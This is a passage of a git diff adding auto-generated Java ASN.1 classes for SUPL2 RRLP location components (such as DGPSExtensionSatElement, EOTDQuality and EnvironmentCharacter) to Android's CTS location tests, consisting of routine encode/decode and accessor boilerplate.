+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new DGPSCorrectionsValidityPeriod from encoded stream.
+ */
+ public static DGPSCorrectionsValidityPeriod fromPerUnaligned(byte[] encodedBytes) {
+ DGPSCorrectionsValidityPeriod result = new DGPSCorrectionsValidityPeriod();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new DGPSCorrectionsValidityPeriod from encoded stream.
+ */
+ public static DGPSCorrectionsValidityPeriod fromPerAligned(byte[] encodedBytes) {
+ DGPSCorrectionsValidityPeriod result = new DGPSCorrectionsValidityPeriod();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public DGPSExtensionSatElement createAndAddValue() {
+ DGPSExtensionSatElement value = new DGPSExtensionSatElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("DGPSCorrectionsValidityPeriod = [\n");
+ final String internalIndent = indent + " ";
+ for (DGPSExtensionSatElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGPSExtensionSatElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGPSExtensionSatElement.java
new file mode 100755
index 0000000..b39d295
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGPSExtensionSatElement.java
@@ -0,0 +1,507 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class DGPSExtensionSatElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_DGPSExtensionSatElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public DGPSExtensionSatElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_DGPSExtensionSatElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_DGPSExtensionSatElement != null) {
+ return ImmutableList.of(TAG_DGPSExtensionSatElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new DGPSExtensionSatElement from encoded stream.
+ */
+ public static DGPSExtensionSatElement fromPerUnaligned(byte[] encodedBytes) {
+ DGPSExtensionSatElement result = new DGPSExtensionSatElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new DGPSExtensionSatElement from encoded stream.
+ */
+ public static DGPSExtensionSatElement fromPerAligned(byte[] encodedBytes) {
+ DGPSExtensionSatElement result = new DGPSExtensionSatElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SatelliteID satelliteID_;
+ public SatelliteID getSatelliteID() {
+ return satelliteID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SatelliteID
+ */
+ public void setSatelliteID(Asn1Object value) {
+ this.satelliteID_ = (SatelliteID) value;
+ }
+ public SatelliteID setSatelliteIDToNewInstance() {
+ satelliteID_ = new SatelliteID();
+ return satelliteID_;
+ }
+
+ private DGPSExtensionSatElement.udreGrowthRateType udreGrowthRate_;
+ public DGPSExtensionSatElement.udreGrowthRateType getUdreGrowthRate() {
+ return udreGrowthRate_;
+ }
+ /**
+ * @throws ClassCastException if value is not a DGPSExtensionSatElement.udreGrowthRateType
+ */
+ public void setUdreGrowthRate(Asn1Object value) {
+ this.udreGrowthRate_ = (DGPSExtensionSatElement.udreGrowthRateType) value;
+ }
+ public DGPSExtensionSatElement.udreGrowthRateType setUdreGrowthRateToNewInstance() {
+ udreGrowthRate_ = new DGPSExtensionSatElement.udreGrowthRateType();
+ return udreGrowthRate_;
+ }
+
+ private DGPSExtensionSatElement.udreValidityTimeType udreValidityTime_;
+ public DGPSExtensionSatElement.udreValidityTimeType getUdreValidityTime() {
+ return udreValidityTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a DGPSExtensionSatElement.udreValidityTimeType
+ */
+ public void setUdreValidityTime(Asn1Object value) {
+ this.udreValidityTime_ = (DGPSExtensionSatElement.udreValidityTimeType) value;
+ }
+ public DGPSExtensionSatElement.udreValidityTimeType setUdreValidityTimeToNewInstance() {
+ udreValidityTime_ = new DGPSExtensionSatElement.udreValidityTimeType();
+ return udreValidityTime_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSatelliteID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSatelliteID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSatelliteIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SatelliteID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "satelliteID : "
+ + getSatelliteID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getUdreGrowthRate() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUdreGrowthRate();
+ }
+
+ @Override public void setToNewInstance() {
+ setUdreGrowthRateToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? DGPSExtensionSatElement.udreGrowthRateType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "udreGrowthRate : "
+ + getUdreGrowthRate().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getUdreValidityTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUdreValidityTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setUdreValidityTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? DGPSExtensionSatElement.udreValidityTimeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "udreValidityTime : "
+ + getUdreValidityTime().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class udreGrowthRateType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_udreGrowthRateType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public udreGrowthRateType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_udreGrowthRateType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_udreGrowthRateType != null) {
+ return ImmutableList.of(TAG_udreGrowthRateType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new udreGrowthRateType from encoded stream.
+ */
+ public static udreGrowthRateType fromPerUnaligned(byte[] encodedBytes) {
+ udreGrowthRateType result = new udreGrowthRateType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new udreGrowthRateType from encoded stream.
+ */
+ public static udreGrowthRateType fromPerAligned(byte[] encodedBytes) {
+ udreGrowthRateType result = new udreGrowthRateType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "udreGrowthRateType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class udreValidityTimeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_udreValidityTimeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public udreValidityTimeType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_udreValidityTimeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_udreValidityTimeType != null) {
+ return ImmutableList.of(TAG_udreValidityTimeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new udreValidityTimeType from encoded stream.
+ */
+ public static udreValidityTimeType fromPerUnaligned(byte[] encodedBytes) {
+ udreValidityTimeType result = new udreValidityTimeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new udreValidityTimeType from encoded stream.
+ */
+ public static udreValidityTimeType fromPerAligned(byte[] encodedBytes) {
+ udreValidityTimeType result = new udreValidityTimeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "udreValidityTimeType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("DGPSExtensionSatElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/EOTDQuality.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/EOTDQuality.java
new file mode 100755
index 0000000..c1ce281
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/EOTDQuality.java
@@ -0,0 +1,447 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class EOTDQuality extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_EOTDQuality
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public EOTDQuality() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_EOTDQuality;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_EOTDQuality != null) {
+ return ImmutableList.of(TAG_EOTDQuality);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new EOTDQuality from encoded stream.
+ */
+ public static EOTDQuality fromPerUnaligned(byte[] encodedBytes) {
+ EOTDQuality result = new EOTDQuality();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new EOTDQuality from encoded stream.
+ */
+ public static EOTDQuality fromPerAligned(byte[] encodedBytes) {
+ EOTDQuality result = new EOTDQuality();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private EOTDQuality.nbrOfMeasurementsType nbrOfMeasurements_;
+ public EOTDQuality.nbrOfMeasurementsType getNbrOfMeasurements() {
+ return nbrOfMeasurements_;
+ }
+ /**
+ * @throws ClassCastException if value is not a EOTDQuality.nbrOfMeasurementsType
+ */
+ public void setNbrOfMeasurements(Asn1Object value) {
+ this.nbrOfMeasurements_ = (EOTDQuality.nbrOfMeasurementsType) value;
+ }
+ public EOTDQuality.nbrOfMeasurementsType setNbrOfMeasurementsToNewInstance() {
+ nbrOfMeasurements_ = new EOTDQuality.nbrOfMeasurementsType();
+ return nbrOfMeasurements_;
+ }
+
+ private EOTDQuality.stdOfEOTDType stdOfEOTD_;
+ public EOTDQuality.stdOfEOTDType getStdOfEOTD() {
+ return stdOfEOTD_;
+ }
+ /**
+ * @throws ClassCastException if value is not a EOTDQuality.stdOfEOTDType
+ */
+ public void setStdOfEOTD(Asn1Object value) {
+ this.stdOfEOTD_ = (EOTDQuality.stdOfEOTDType) value;
+ }
+ public EOTDQuality.stdOfEOTDType setStdOfEOTDToNewInstance() {
+ stdOfEOTD_ = new EOTDQuality.stdOfEOTDType();
+ return stdOfEOTD_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getNbrOfMeasurements() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNbrOfMeasurements();
+ }
+
+ @Override public void setToNewInstance() {
+ setNbrOfMeasurementsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? EOTDQuality.nbrOfMeasurementsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "nbrOfMeasurements : "
+ + getNbrOfMeasurements().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getStdOfEOTD() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getStdOfEOTD();
+ }
+
+ @Override public void setToNewInstance() {
+ setStdOfEOTDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? EOTDQuality.stdOfEOTDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "stdOfEOTD : "
+ + getStdOfEOTD().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class nbrOfMeasurementsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_nbrOfMeasurementsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public nbrOfMeasurementsType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_nbrOfMeasurementsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_nbrOfMeasurementsType != null) {
+ return ImmutableList.of(TAG_nbrOfMeasurementsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new nbrOfMeasurementsType from encoded stream.
+ */
+ public static nbrOfMeasurementsType fromPerUnaligned(byte[] encodedBytes) {
+ nbrOfMeasurementsType result = new nbrOfMeasurementsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new nbrOfMeasurementsType from encoded stream.
+ */
+ public static nbrOfMeasurementsType fromPerAligned(byte[] encodedBytes) {
+ nbrOfMeasurementsType result = new nbrOfMeasurementsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "nbrOfMeasurementsType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class stdOfEOTDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_stdOfEOTDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public stdOfEOTDType() {
+ super();
+ setValueRange("0", "31");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_stdOfEOTDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_stdOfEOTDType != null) {
+ return ImmutableList.of(TAG_stdOfEOTDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new stdOfEOTDType from encoded stream.
+ */
+ public static stdOfEOTDType fromPerUnaligned(byte[] encodedBytes) {
+ stdOfEOTDType result = new stdOfEOTDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new stdOfEOTDType from encoded stream.
+ */
+ public static stdOfEOTDType fromPerAligned(byte[] encodedBytes) {
+ stdOfEOTDType result = new stdOfEOTDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "stdOfEOTDType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("EOTDQuality = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/EnvironmentCharacter.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/EnvironmentCharacter.java
new file mode 100755
index 0000000..dfc986f
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/EnvironmentCharacter.java
@@ -0,0 +1,159 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class EnvironmentCharacter extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ badArea(0),
+ notBadArea(1),
+ mixedArea(2),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_EnvironmentCharacter
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public EnvironmentCharacter() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_EnvironmentCharacter;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_EnvironmentCharacter != null) {
+ return ImmutableList.of(TAG_EnvironmentCharacter);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new EnvironmentCharacter from encoded stream.
+ */
+ public static EnvironmentCharacter fromPerUnaligned(byte[] encodedBytes) {
+ EnvironmentCharacter result = new EnvironmentCharacter();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new EnvironmentCharacter from encoded stream.
+ */
+ public static EnvironmentCharacter fromPerAligned(byte[] encodedBytes) {
+ EnvironmentCharacter result = new EnvironmentCharacter();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "EnvironmentCharacter = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/EphemerisSubframe1Reserved.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/EphemerisSubframe1Reserved.java
new file mode 100755
index 0000000..68608a4
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/EphemerisSubframe1Reserved.java
@@ -0,0 +1,729 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
